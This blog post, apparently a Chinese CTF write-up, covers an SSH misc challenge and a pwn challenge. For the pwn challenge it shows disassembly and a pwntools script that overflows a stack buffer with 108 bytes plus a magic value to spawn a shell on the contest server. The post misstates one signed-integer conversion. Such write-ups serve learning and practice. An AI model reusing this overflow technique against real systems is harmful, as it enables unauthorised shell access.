返回了ssh,意思是期望使用有效的ssh客户端连接,我们搜索了解知道

SSH 协议规定,连接建立后,客户端必须首先发送一行标识字符串,格式为:

SSH-协议版本-软件版本 [可选注释]\r\n

题目已经提示了用户名为qyy,且无密码,我们直接连接

ssh -p 28736 qyy@challenge.bluesharkinfo.com

连接后,出现isctf字样就迅速断连,不知道是程序设置还是有过滤什么的,开始我尝试用发送数据或者执行ls命令,都没用,我们直接查看调试日志,分析得到

  • 服务器接受了您开启 Shell 的请求,但紧接着:debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
  • 结论:服务器上配置的默认 Shell(登录后运行的程序)是一个脚本,它的功能就是打印 "ISCC" 的 Banner,然后立即执行 exit 0(正常退出)。

所以整个程序就是这样,回到题目,消失的flag,发送了输出却什么没有,可能是文本被隐写了,我们直接提取返回的文本到文件再读取

很容易就直接得到flag了

pwn

来签个道吧

  • 定义了 v4[38](大小 152 bytes)。
  • 使用 read(0, v4, 0x3E8) 从 stdin 读取 0x3E8 = 1000 bytes 到 v4 中。
  • 输出 v4[27](注意是以 int 形式)。
  • 如果 v4[27] == -1378178390,则执行 system("/bin/sh")

明显是一个栈溢出的题目,且能直接找到后门函数的地址

反汇编关键部分:

1122: e8 49 ff ff ff          call   1070 <printf@plt>
1127: 81 7c 24 6c aa aa da ad cmpl   $0xaddaaaaa,0x6c(%rsp)
112e: 74 29                   je     115a
1131: 48 8d 3d 18 0f 00 00    lea    0xf18(%rip),%rdi    ; "no love anymore..."
1138: e8 f3 fe ff ff          call   1030 <puts@plt>

关键指令:

cmpl $0xaddaaaaa, 0x6c(%rsp)

表示:

程序将 rsp+0x6c 处的 4 字节 和 0xADDAAAAA 做比较

这就是 v4[27] 的实际位置(因为 27 × 4 = 108 = 0x6c)

栈上布局:

rsp ─────▶ [ 0x00 ... v4[0]   ]
           [ 0x04 ... v4[1]   ]
           ...
           [ 0x6c ... v4[27]  ]   <-- 比较的位置
           ...

程序读取:

read(0, v4, 1000);

因此,只要:

payload[108 : 112] = 0xADDAAAAA (小端序)

即可触发 system。

反汇编中的立即数:

0xADDAAAAA

若视为 signed int:

signed: -1395864374

但输入时使用小端:

\xAA\xAA\xDA\xAD

偏移:

v4[27] = 27 * 4 bytes = 108 bytes

因此 exploit:

"A" * 108 + "\xAA\xAA\xDA\xAD"

完整exp:

from pwn import *

p = remote("challenge.bluesharkinfo.com", 21436)

payload  = b"A" * 108
payload += b"\xAA\xAA\xDA\xAD"  # magic number, little endian

p.send(payload)
p.interactive()

结束了,周末直接通了两宵补了后面几个web题目,前面时间基本都在做杂项,第一天就做了签到题约等于爆0,杂项做了两天一个没做出来,心态差点爆炸,这个杂项是肯定比极客难道,但是基本全是图片,杂项题干脆改名图片题算了,像风景那个题,没提示根本做不出来,校赛的题目都比这个丰富多样。pwn题确实就没咋做了,而且确实做不太出来。

web题前面的确实很简单,基本没有过滤,还有两个队友做的题没来得及复现,后面再看一下,最后做的几个题都是序列化相关的。不过来不及总结了,基本都在做题,只能是先积累个经验了。

此作者没有提供个人介绍。
最后更新于 2025-12-07